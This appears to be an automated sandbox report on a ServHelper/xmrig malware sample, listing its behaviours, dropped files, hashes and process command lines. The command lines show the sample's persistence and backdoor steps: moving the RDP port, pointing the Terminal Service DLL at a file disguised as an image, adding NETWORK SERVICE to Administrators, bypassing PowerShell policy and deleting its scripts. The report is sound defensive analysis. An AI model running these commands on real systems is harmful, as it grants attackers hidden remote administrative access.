Analysis Overview
SHA256
6d6134155811eb82705509295bd4b87c6aaad43c1b54048c20d3cbf680494dfb
Threat Level: Known bad
The file 6d6134155811eb82705509295bd4b87c6aaad43c1b54048c20d3cbf680494dfb was found to be: Known bad.
Malicious Activity Summary
ServHelper
xmrig
Grants admin privileges
Sets DLL path for service in the registry
Modifies RDP port number used by Windows
Drops file in System32 directory
Drops file in Windows directory
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: LoadsDriver
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Runs net.exe
Modifies registry key
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2021-09-10 15:37
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2021-09-10 15:37
Reported
2021-09-10 15:40
Platform
win10-en
Max time kernel
87s
Max time network
150s
Command Line
Signatures
ServHelper
xmrig
Grants admin privileges
Modifies RDP port number used by Windows
Sets DLL path for service in the registry
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\SysWOW64\rdpclip.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\branding\mediasrv.png | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File created | C:\Windows\branding\mediasvc.png | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File created | C:\Windows\branding\wupsvc.jpg | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\branding\Basebrd | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\branding\ShellBrd | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\branding\mediasrv.png | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\branding\mediasvc.png | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\branding\wupsvc.jpg | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Modifies registry key
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\reg.exe | N/A |
Runs net.exe
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: LoadsDriver
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\6d6134155811eb82705509295bd4b87c6aaad43c1b54048c20d3cbf680494dfb.exe
"C:\Users\Admin\AppData\Local\Temp\6d6134155811eb82705509295bd4b87c6aaad43c1b54048c20d3cbf680494dfb.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rlmeisxk\rlmeisxk.cmdline"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF7F7.tmp" "c:\Users\Admin\AppData\Local\Temp\rlmeisxk\CSC4A66E73C306D4AD9B2C12ABD8513448.TMP"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
C:\Windows\SysWOW64\net.exe
"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
C:\Windows\SysWOW64\cmd.exe
cmd /c net start rdpdr
C:\Windows\SysWOW64\net.exe
net start rdpdr
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start rdpdr
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
C:\Windows\SysWOW64\cmd.exe
cmd /c net start TermService
C:\Windows\SysWOW64\net.exe
net start TermService
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start TermService
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
Network
Files
memory/4684-115-0x0000000005C80000-0x000000000607F000-memory.dmp
memory/4684-117-0x0000000006580000-0x0000000006581000-memory.dmp
memory/4684-118-0x0000000006220000-0x0000000006221000-memory.dmp
memory/4684-119-0x0000000005860000-0x0000000005861000-memory.dmp
memory/4684-120-0x0000000005862000-0x0000000005863000-memory.dmp
memory/4684-121-0x0000000005863000-0x0000000005864000-memory.dmp
memory/4684-122-0x00000000061A0000-0x00000000061A1000-memory.dmp
memory/4684-123-0x0000000008650000-0x0000000008651000-memory.dmp
memory/4684-124-0x0000000005864000-0x0000000005865000-memory.dmp
memory/4796-125-0x0000000000000000-mapping.dmp
memory/4796-128-0x0000000005220000-0x0000000005221000-memory.dmp
memory/4796-129-0x0000000007920000-0x0000000007921000-memory.dmp
memory/4796-130-0x0000000007F50000-0x0000000007F51000-memory.dmp
memory/4796-131-0x0000000007FF0000-0x0000000007FF1000-memory.dmp
memory/4796-133-0x00000000082C0000-0x00000000082C1000-memory.dmp
memory/4796-134-0x00000000080F0000-0x00000000080F1000-memory.dmp
memory/4796-135-0x0000000008AE0000-0x0000000008AE1000-memory.dmp
memory/4796-136-0x00000000051D0000-0x00000000051D1000-memory.dmp
memory/4796-137-0x00000000051D2000-0x00000000051D3000-memory.dmp
memory/4796-138-0x0000000008A10000-0x0000000008A11000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\ready.ps1
| MD5 | 28d9755addec05c0b24cca50dfe3a92b |
| SHA1 | 7d3156f11c7a7fb60d29809caf93101de2681aa3 |
| SHA256 | abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9 |
| SHA512 | 891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42 |
memory/4796-144-0x0000000009E30000-0x0000000009E31000-memory.dmp
memory/4796-145-0x0000000009700000-0x0000000009701000-memory.dmp
memory/4984-146-0x0000000000000000-mapping.dmp
\??\c:\Users\Admin\AppData\Local\Temp\rlmeisxk\rlmeisxk.cmdline
| MD5 | e27f848a662a392c72a76b090be8846d |
| SHA1 | ccfc9b963da1c36e00756123ea8a78c84215ebb9 |
| SHA256 | 7d3c4bcf16a95172c96964deb50c25473665b713980bb5baa999e3f1d0cb819d |
| SHA512 | 746ccaa59dbdd0606d8c46cf438f4c5f405eaccc5ca611efca9f597c7b191ded79d1755e673cc923524f89174ee5a6d5b259e28ce6dc168bf605e9e879c28b28 |
\??\c:\Users\Admin\AppData\Local\Temp\rlmeisxk\rlmeisxk.0.cs
| MD5 | 9f8ab7eb0ab21443a2fe06dab341510e |
| SHA1 | 2b88b3116a79e48bab7114e18c9b9674e8a52165 |
| SHA256 | e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9 |
| SHA512 | 53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b |
memory/5012-149-0x0000000000000000-mapping.dmp
\??\c:\Users\Admin\AppData\Local\Temp\rlmeisxk\CSC4A66E73C306D4AD9B2C12ABD8513448.TMP
| MD5 | c38dfb364176fbc3900dc74e060b3d59 |
| SHA1 | 65e77d4a5cad3daefeb7bfadef1f7f7b41c60fbb |
| SHA256 | 765e9d00180d92f7cab7f9f61ecef00b61346875831ec208c3fa96de10e1d4f7 |
| SHA512 | 5671ab9d2a78a494f8c878e3014ccb0cb80c72893322cbd7d27f55106f1bceab4feedbfe918e6de33d46726fd741569b0694f8320209de97d76aa6ffcd338a5a |
C:\Users\Admin\AppData\Local\Temp\RESF7F7.tmp
| MD5 | 74b775dde5b64a7073a63fba3710daf7 |
| SHA1 | 0cbde7105a33057d98c757ec2889060f42dc20b9 |
| SHA256 | e1068b626c575132b600f0ff37d184c1e66eced103e5fa000c8699a5d21fa3d3 |
| SHA512 | 593361c6424364475d1845efaf0ef5a9e63c0c874bf2de598877587c32b1743f49810a5668ecabe747bbd9c169df2d28054a9802766fe1ade65df9391bb4c773 |
C:\Users\Admin\AppData\Local\Temp\rlmeisxk\rlmeisxk.dll
| MD5 | f3a97dfa37559f866f4642a4334fb6a3 |
| SHA1 | 24887b46412ae12ba79a904dce03fc2f3227da8b |
| SHA256 | 61b59c8db4f80ad053d17cf3a12de540fbe26bcbbac52526e271eaccf8abac19 |
| SHA512 | b897e95feb66819c7543a94a6e8cd79c24bf9db252935edba2be0090d159b2dc44d4f07ed79db50cdfb9ebeb7b5c6726680e245cfc00de4504d70dd237f73c1f |
memory/4796-153-0x0000000009790000-0x0000000009791000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1
| MD5 | 30303b0cc1d6833b7dc84fbb907822be |
| SHA1 | caaa99bb9a56a6974ba16fce6e01f4f95016b9f5 |
| SHA256 | 91b6b2284e42eb7bdf6371fcbaf1724027fc600cd9bb56ed81f2f7d8c784f617 |
| SHA512 | 117cb2e2c687d2cca1c069151df4c085dcb4a88e51b1f17b8b0e2f9ce1adf181ed76b8cc1c262bee45e34d7a8b513d5bf19a50f394064cf5c132fec23a6fb7da |
memory/4796-155-0x00000000051D3000-0x00000000051D4000-memory.dmp
memory/4796-176-0x0000000009B00000-0x0000000009B01000-memory.dmp
memory/1836-177-0x0000000000000000-mapping.dmp
memory/1836-187-0x0000000004D42000-0x0000000004D43000-memory.dmp
memory/1836-186-0x0000000004D40000-0x0000000004D41000-memory.dmp
memory/1836-198-0x0000000008CE0000-0x0000000008D13000-memory.dmp
memory/1836-206-0x0000000008CC0000-0x0000000008CC1000-memory.dmp
memory/1836-207-0x000000007EBD0000-0x000000007EBD1000-memory.dmp
memory/1836-212-0x0000000008E10000-0x0000000008E11000-memory.dmp
memory/1836-213-0x0000000008FE0000-0x0000000008FE1000-memory.dmp
memory/1836-406-0x0000000008EF0000-0x0000000008EF1000-memory.dmp
memory/1836-412-0x0000000008EE0000-0x0000000008EE1000-memory.dmp
memory/3336-432-0x0000000000000000-mapping.dmp
memory/3336-441-0x00000000071E0000-0x00000000071E1000-memory.dmp
memory/3336-442-0x00000000071E2000-0x00000000071E3000-memory.dmp
memory/3336-467-0x000000007EAF0000-0x000000007EAF1000-memory.dmp
memory/2652-683-0x0000000000000000-mapping.dmp
memory/2652-696-0x0000000004F70000-0x0000000004F71000-memory.dmp
memory/2652-697-0x0000000004F72000-0x0000000004F73000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
| MD5 | f3068198b62b4b70404ec46694d632be |
| SHA1 | 7b0b31ae227cf2a78cb751573a9d07f755104ea0 |
| SHA256 | bd0fab28319be50795bd6aa9692742ba12539b136036acce2e0403f10a779fc8 |
| SHA512 | ef285a93898a9436219540f247beb52da69242d05069b3f50d1761bb956ebb8468aeaeadcb87dd7a09f5039c479a31f313c83c4a63c2b2f789f1fe55b4fa9795 |
memory/2652-792-0x000000007FA90000-0x000000007FA91000-memory.dmp
memory/4440-962-0x0000000000000000-mapping.dmp
memory/3056-963-0x0000000000000000-mapping.dmp
memory/4220-964-0x0000000000000000-mapping.dmp
memory/4596-1001-0x0000000000000000-mapping.dmp
memory/2824-1002-0x0000000000000000-mapping.dmp
memory/2628-1005-0x0000000000000000-mapping.dmp
memory/4136-1006-0x0000000000000000-mapping.dmp
memory/3636-1007-0x0000000000000000-mapping.dmp
memory/648-1008-0x0000000000000000-mapping.dmp
memory/1016-1009-0x0000000000000000-mapping.dmp
memory/4636-1010-0x0000000000000000-mapping.dmp
memory/4376-1011-0x0000000000000000-mapping.dmp
memory/3932-1012-0x0000000000000000-mapping.dmp
memory/5032-1025-0x0000000000000000-mapping.dmp
memory/5036-1026-0x0000000000000000-mapping.dmp
memory/4796-1126-0x000000007EF40000-0x000000007EF41000-memory.dmp